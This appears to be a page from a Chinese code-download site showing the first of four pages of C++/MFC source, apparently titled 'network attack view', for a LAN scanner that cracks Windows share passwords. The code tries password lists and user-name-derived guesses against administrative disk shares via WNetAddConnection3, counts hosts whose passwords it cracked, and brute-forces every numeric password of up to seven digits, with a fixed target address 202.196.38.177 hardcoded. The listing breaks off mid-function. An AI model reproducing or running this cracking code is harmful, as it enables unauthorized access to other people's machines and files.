⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 网络攻击view.cpp

📁 这是局域网扫描空密码主机和ftp共享资源的一个软件的源代码
💻 CPP
📖 第 1 页 / 共 4 页
字号:
}

void CMyView::getpassword(CString user, CString ip,HTREEITEM pitem)
{
	LPNETRESOURCE netres=new NETRESOURCE;
	netres->dwType=RESOURCETYPE_DISK;
	netres->lpLocalName="";
	netres->lpProvider=NULL;
	TCHAR szRemoteName[MAX_PATH]="\\\\202.196.38.177\\d$" ;
	CString sever="\\\\";
	HTREEITEM p1=m_show.GetParentItem(pitem);
	p1=m_show.GetParentItem(p1);
	p1=m_show.GetChildItem(p1);
	CString text2=m_show.GetItemText(p1);
	p1=m_show.GetChildItem(p1);
	do{
	text2=m_show.GetItemText(p1);
	if(text2!="IPC$")
	{
	break;
	}
	p1=m_show.GetNextItem(p1,TVGN_NEXT);
	}while(1);
	sever+=ip;
	sever+="\\";
	sever+=text2;
	for(int i=0;i<sever.GetLength();i++)
	szRemoteName[i]=sever[i];
	szRemoteName[sever.GetLength()]=0;
	netres->lpRemoteName=szRemoteName;

	CString pp;
	POSITION pos=pplist.GetHeadPosition( );
	for(int k=0;k<pplist.GetCount( );k++)
	{
	pp=pplist.GetAt(pos);
	if(pp[0]=='@')
	{
	char tt[30];
	for(int i=1;i<pp.GetLength();i++)
	tt[i-1]=pp[i];
	tt[pp.GetLength()-1]=0;
	pp=user;
	pp+=tt;
	}
	m_pwd=pp;
	m_name=user;
	CString str="";
	str.Format(" ( %d )",m_progress.GetPos()+1);
	m_curip=ip+str;
	UpdateData(false);
	if(NO_ERROR==WNetAddConnection3(this->m_hWnd,netres,pp,user,NULL))
	{
	HTREEITEM tem=m_show.GetChildItem(pitem);
	if(tem==NULL)
	{
	if(pp=="")
	{
		pp="空密码";
	}
	m_show.InsertItem(pp,6,6,pitem,0);
	name=user;
	if(pp=="空密码")
		pp="";
	password=pp;
	////////////得到密码主机数+1
	igetp++;
	m_getp.Format("破解密码主机数: %d",igetp);
	UpdateData(false);
	m_show.SetItemImage(m_show.GetParentItem(m_show.GetParentItem(pitem)),1,1);
	break;
	}
	}
	else
	{

	}
	pplist.GetNext(pos);
	}
	delete netres;
}

void CMyView::getpassword2(CString user, CString ip, HTREEITEM pitem)
{
	LPNETRESOURCE netres=new NETRESOURCE;
	netres->dwType=RESOURCETYPE_DISK;
	netres->lpLocalName="";
	netres->lpProvider=NULL;
	TCHAR szRemoteName[MAX_PATH]="\\\\202.196.38.177\\d$" ;
	CString sever="\\\\";
	HTREEITEM p1=m_show.GetParentItem(pitem);
	p1=m_show.GetParentItem(p1);
	p1=m_show.GetChildItem(p1);
	CString text2=m_show.GetItemText(p1);
	HTREEITEM p2=m_show.GetChildItem(p1);
	do{
	text2=m_show.GetItemText(p2);
	if(text2!="IPC$")
	{
	break;
	}
	p2=m_show.GetNextItem(p2,TVGN_NEXT);
	}while(1);
	sever+=ip;
	sever+="\\";
	sever+=text2;
	for(int i=0;i<sever.GetLength();i++)
	szRemoteName[i]=sever[i];
	szRemoteName[sever.GetLength()]=0;
	netres->lpRemoteName=szRemoteName;
	p1=m_show.GetNextItem(p1,TVGN_NEXT);
	p1=m_show.GetChildItem(p1);
	HTREEITEM pname=p1;
	do{
	user=m_show.GetItemText(p1);
	CString pp;
	POSITION pos=pplist.GetHeadPosition( );
	for(int k=0;k<pplist.GetCount( );k++)
	{
	pp=pplist.GetAt(pos);
	if(pp[0]=='@')
	{
	char tt[30];
	for(int i=1;i<pp.GetLength();i++)
	tt[i-1]=pp[i];
	tt[pp.GetLength()-1]=0;
	pp=user;
	pp+=tt;
	}
	m_pwd=pp;
	m_name=user;
	m_curip=ip;
	UpdateData(false);
	if(NO_ERROR==WNetAddConnection3(this->m_hWnd,netres,pp,user,CONNECT_UPDATE_PROFILE))
	{
	HTREEITEM tem=m_show.GetChildItem(p1);
	if(tem==NULL)
	{
	if(pp=="")
	{
		pp="空密码";
	}
	m_show.InsertItem(pp,6,6,p1,0);
	name=user;
	if(pp=="空密码")
		pp="";
	password=pp;
	////////////得到密码主机数+1
	igetp++;
	m_getp.Format("破解密码主机数: %d",igetp);
	UpdateData(false);	
	m_show.SetItemImage(m_show.GetParentItem(m_show.GetParentItem(p1)),7,7);
	}
	}
	else
	{
	}
	pplist.GetNext(pos);
	}
	p1=m_show.GetNextItem(p1,TVGN_NEXT);
	}while(p1!=NULL);
	delete netres;
}

void CMyView::antherthread()
{
/*	byte ip11,ip12,ip13,ip14;
	byte ip21,ip22,ip23,ip24;
	m_ip1.GetAddress(ip11,ip12,ip13,ip14);
	m_ip2.GetAddress(ip21,ip22,ip23,ip24);
	CString strip;
	int k3=0;
	int k4=curthread;
	if(ip14>254)
		ip14=254;
	if(ip24>254)
		ip24=254;
	if(curthread==(ip23-ip13)*254+(ip24-ip14))
		AfxMessageBox("分配线程结束");
	if(curthread<=(ip23-ip13)*254+(ip24-ip14))
	{

		for(int i=threadnum;i<100;i++)
		{
	info*infotem=new info();
	info*infotem2=new info();
	infotem2->myview=this;
	infotem->myview=this;
	strip.Format("%d.%d.%d.%d",ip11,ip12,ip13+k3,ip14+k4);
	if(k4<=254)
	{
	k4++;
	}
	else
	{
	k4=0;
	k3++;
	}
	HTREEITEM item,item2,item3;
	curip=strip;
	infotem->ip=strip;
	infotem2->ip=strip;
	item=m_show.InsertItem(strip,0,0,0,0);
	item3=m_show.InsertItem("共享资源($)",1,1,item,0);
	infotem2->counter=item3;
	AfxBeginThread(scanshares,infotem2,0);
	item2=m_show.InsertItem("用户名",2,2,item,0);
	infotem->counter=item2;	
	AfxBeginThread(scanusers,infotem,0);
	m_show.Expand(item,TVE_EXPAND);
	curthread++;
		}
	threadnum=100;
	}*/
}

void CMyView::Onclose() 
{
PostQuitMessage(0);
}

void CMyView::Onmade() 
{
	if(m_bstart==FALSE)
	{
	Cmadedlg dlg;
	dlg.m_ftp=m_bftp;
	dlg.m_get=m_bget;
	dlg.m_port=m_bports;
	dlg.m_share=m_bshare;
	dlg.m_ping=m_bping;
	if(dlg.DoModal()==IDOK)
	{
	m_bftp=dlg.m_ftp;
	m_bget=dlg.m_get;
	m_bports=dlg.m_port;
	m_bshare=dlg.m_share;
	m_bping=dlg.m_ping;
	m_course.ResetContent();
	m_course.AddString("        当前主要功能设置");
	m_course.AddString("--------------------------");
	if(m_bping==TRUE)
	{
	m_course.AddString("扫描前ping");
	}
	if(m_bget==TRUE)
	{
	m_course.AddString("破解简单密码");
	}
	if(m_bftp==TRUE)
	{
	m_course.AddString("FTP扫描");
	}
	if(m_bshare==TRUE)
	{
	m_course.AddString("共享扫描");
	}
	if(m_bports==TRUE)
	{
	m_course.AddString("端口扫描");
	}
	m_course.AddString("--------------------------");
	}
	}
	else
	{
	AfxMessageBox("正在扫描,请稍后再设置");
	}
}

/*void CMyView::Onabout() 
{
	
}
*/
void CMyView::OnHelp() 
{
	::HtmlHelpA(this->m_hWnd,"help.chm",HH_DISPLAY_TOPIC,0);
	
}

void CMyView::OnRclickTree1(NMHDR* pNMHDR, LRESULT* pResult) 
{

	HTREEITEM item=m_show.GetSelectedItem();
	HTREEITEM p1=m_show.GetParentItem(item);
	CString text2=m_show.GetItemText(p1);
	if(text2=="用户名")
	{
	CRect r;
	m_show.GetItemRect(item, &r, TRUE);
	m_show.ClientToScreen(&r);
	CPoint point;
	GetCursorPos(&point);
	if(r.PtInRect(point))
	{
	CMenu rightmenu2;
	rightmenu2.LoadMenu(IDR_right);
	CMenu *rightmenu=rightmenu2.GetSubMenu(0); 
	rightmenu->TrackPopupMenu(TPM_LEFTALIGN |TPM_RIGHTBUTTON, point.x, 
      point.y, this);
	}
	}
	*pResult = 0;
}
UINT caijie(LPVOID lParam)
{
	CMyView *tem=(CMyView*)lParam;
	tem->caijiepassword();
	return 0;
}
void CMyView::Oncaijie() 
{

	rpitem=m_show.GetSelectedItem();
	AfxBeginThread(caijie,this,0);		
	
}

void CMyView::caijiepassword()
{
	CStringList caijiep;
	bool bget=false;
	//////////////添加密码区域
	CString pptem="";
	caijiep.AddTail("");
	caijiep.AddTail("@");
	int num=0,num1=0,num2=0,num3=0,num4=0,num5=0,num6=0;
	/*for(num5=0;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	for(num6=0;num6<10;num6++)
	for(num5=0;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}*/
	caijiep.AddTail("6195146898197");
	//添加密码区域
	LPNETRESOURCE netres=new NETRESOURCE;
	netres->dwType=RESOURCETYPE_DISK;
	netres->lpLocalName="";
	netres->lpProvider=NULL;
	TCHAR szRemoteName[MAX_PATH]="\\\\202.196.38.177\\d$" ;
	CString sever="\\\\";
	HTREEITEM p1=m_show.GetParentItem(rpitem);
	CString user=m_show.GetItemText(rpitem);
	p1=m_show.GetParentItem(p1);
	CString ip=m_show.GetItemText(p1);
	sever+=ip;
	p1=m_show.GetChildItem(p1);
	CString text2=m_show.GetItemText(p1);
	p1=m_show.GetChildItem(p1);
	do{
	text2=m_show.GetItemText(p1);
	if(text2!="IPC$")
	{
	break;
	}
	p1=m_show.GetNextItem(p1,TVGN_NEXT);
	}while(1);
	sever+="\\";
	sever+=text2;
	for(int i=0;i<sever.GetLength();i++)
	szRemoteName[i]=sever[i];
	szRemoteName[sever.GetLength()]=0;
	netres->lpRemoteName=szRemoteName;
	////////////////////
	int index=0;
	int max=31;
	int from=0;
	int to=0;
	while(index<max)
	{
	caijiep.RemoveAll();
	switch(index)
	{
	case 0:
	for(num=0;num<10;num++)
	{
		pptem.Format("%d",num);
		caijiep.AddTail(pptem);
	}
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d",num1,num);
		caijiep.AddTail(pptem);
	}
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d",num2,num1,num);
		caijiep.AddTail(pptem);
	}
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d",num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d",num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 1:
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 2:
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 3:
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d",num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 4:
	for(num6=0;num6<1;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 5:
	for(num6=0;num6<1;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 6:
	for(num6=0;num6<1;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
		/////////////
	case 7:
	for(num6=1;num6<2;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 8:
	for(num6=1;num6<2;num6++)
	for(num5=3;num5<6;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;
	case 9:
	for(num6=1;num6<2;num6++)
	for(num5=6;num5<10;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}
	index++;
		break;

		//
		/////////////
	case 10:
		from=2;
		to=3;
	for(num6=from;num6<to;num6++)
	for(num5=0;num5<3;num5++)
	for(num4=0;num4<10;num4++)
	for(num3=0;num3<10;num3++)
	for(num2=0;num2<10;num2++)
	for(num1=0;num1<10;num1++)
	for(num=0;num<10;num++)
	{
		pptem.Format("%d%d%d%d%d%d%d",num6,num5,num4,num3,num2,num1,num);
		caijiep.AddTail(pptem);
	}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -